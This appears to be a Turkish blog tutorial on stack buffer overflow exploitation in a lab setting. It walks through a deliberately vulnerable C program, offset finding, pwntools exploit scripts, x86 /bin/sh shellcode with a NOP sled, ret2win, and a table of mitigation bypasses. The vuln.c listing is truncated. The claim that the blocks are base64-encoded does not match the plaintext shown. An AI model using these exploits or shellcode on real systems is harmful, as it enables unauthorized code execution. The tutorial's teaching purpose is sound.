Stack tabanlı buffer overflow'un nasıl çalıştığını, EIP kontrolünden shellcode çalıştırmaya kadar adım adım ve pratik örneklerle anlattım.
Bu yazı defansif araştırma amaçlı saldırı pattern örnekleri içerir. Aşağıdaki kod blokları antivirüs yazılımlarının yanlış pozitif tetiklemesini önlemek için base64 ile encode edilmiştir; tarayıcınızda otomatik olarak decode olur. Bu içerikler yalnızca yetkilendirilmiş test ortamlarında ve eğitim amacıyla kullanılmalıdır.
Program bir tampona (buffer) sığmayacak kadar büyük veri yazarsa, fazlalık komşu bellek bölgelerine taşar. Stack üzerinde bu taşma dönüş adresini (EIP/RIP) ezebilir ve saldırgan program akışını istediği yere yönlendirebilir.
Yüksek adres
┌──────────────┐
│ Return Addr │ ← EIP — burası ezilirse program akışı değişir
├──────────────┤
│ Saved EBP │
├──────────────┤
│ │
│ Buffer │ ← Kullanıcı verisi buraya yazılıyor
│ [64 byte] │
└──────────────┘
Düşük adres
// vuln.c
#include <stdio.h>
#include <string.h>
void secret() {
system("/bin/bash");
}
void vuln() {
char buf[
# Koruma mekanizmalarını kapatarak derle (lab ortamı)
gcc -m32 -fno-stack-protector -z execstack -no-pie \
-o vuln vuln.c# fuzzer.py — artan boyutta input gönder
import subprocess
for i in range(100, 500, 10):
payload = b"A" * i
result = subprocess.run(
["./vuln"],
input=payload,
capture_output=True
)
if result.returncode != 0:
print(f"[+] Çöküş: {i} byte")
break# Benzersiz desen oluştur
python3 -c "
import string
pattern = ''
for i in string.ascii_uppercase:
for j in string.ascii_lowercase:
for k in string.digits:
pattern += i+j+k
print(pattern[:300])
" > pattern.txt
# GDB ile çalıştır
gdb ./vuln
(gdb) run < pattern.txt
# Segfault sonrası EIP değerini not al: 0x41326941
# Offset'i hesapla — kendi GDB çıktınızdaki EIP değerini kullanın
python3 -c "
pattern = open('pattern.txt').read()
eip = 'Ai2A' # örnek değer; GDB'deki 0x41326941'i little-endian byte sırasında ASCII olarak yazın
print(pattern.index(eip))
"
# Örnek çıktı: 76 — sizin offset'iniz farklı olabilirAlternatif olarak pwndbg veya pwntools:
from pwn import *
# Cyclic pattern
pattern = cyclic(200)
# Offset bul
offset = cyclic_find(0x41326941)
print(f"Offset: {offset}") # 76from pwn import *
offset = 76
payload = b"A" * offset + b"B" * 4 # EIP = 0x42424242
p = process("./vuln")
p.sendline(payload)
p.interactive()GDB'de x/x $eip → 0x42424242 görünüyorsa EIP kontrolü sağlandı.
from pwn import *offset = 76# /bin/sh açan shellcode (25 byte)shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"shellcode += b"\x68\x2f\x62\x69\x6e\x89\xe3\x50"shellcode += b"\x53\x89\xe1\xb0\x0b\xcd\x80"# Stack adresini bul (ASLR kapalı ortamda)p = process("./vuln")# gdb'den: x/50x $esp → shellcode'un yükleneceği adresret_addr = p32(0xffffd120)# NOP sled + shellcode + padding + retnop_sled = b"\x90" * 30payload = nop_sled + shellcodepayload += b"A" * (offset - len(nop_sled) - len(shellcode))payload += ret_addrp.sendline(payload)p.interactive()
NX açıksa stack'te shellcode çalıştırılamaz; bunun yerine binary'de var olan bir fonksiyona dönülür (ret2win). Dikkat: ret2win yalnızca NX'i aşar — ASLR/PIE açıksa hedef adres her çalıştırmada değişir, yani bu yöntem ancak PIE kapalıyken ya da bir adres leak'i varken işe yarar. Aşağıdaki örnek PIE kapalı (sabit adresli) bir binary varsayar:
from pwn import *
elf = ELF("./vuln")
offset = 76
# secret() fonksiyonunun adresi
win_addr = p32(elf.symbols["secret"])
payload = b"A" * offset + win_addr
p = process("./vuln")
p.sendline(payload)
p.interactive()# Binary'nin korumalarını kontrol et
checksec --file=./vuln| Koruma | Açıklama | Bypass | |---|---|---| | ASLR | Stack/heap adresleri rastgele | Leak + offset hesapla | | NX/DEP | Stack'te kod çalıştırma yok | ROP chain | | Stack Canary | Return addr'den önce canary değeri | Canary leak | | PIE | Binary adresleri rastgele | Leak + base hesapla | | RELRO | GOT tablosu salt okunur | Partial RELRO bypass |
# Kur
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh
# Kullanım
gdb ./vuln
(gdb) run
(gdb) info registers # register değerleri
(gdb) x/50x $esp # stack içeriğini hex göster
(gdb) x/s 0xffffd120 # adresteki string
(gdb) disas vuln # fonksiyonu disassemble et
(gdb) b *vuln+30 # breakpoint ekle
(gdb) ni # next instruction# 1. Koruma seviyesini gör
checksec --file=./chal
# 2. Fonksiyonları listele
objdump -d ./chal | grep "<.*>:"
nm ./chal | grep " T "
# 3. String'leri tara
strings ./chal | grep -i "flag\|win\|shell"
# 4. Ltrace / strace ile davranış izle
ltrace ./chal
strace ./chalBir sonraki yazıda ROP (Return-Oriented Programming) ile NX korumasını atlatmayı ele alacağım.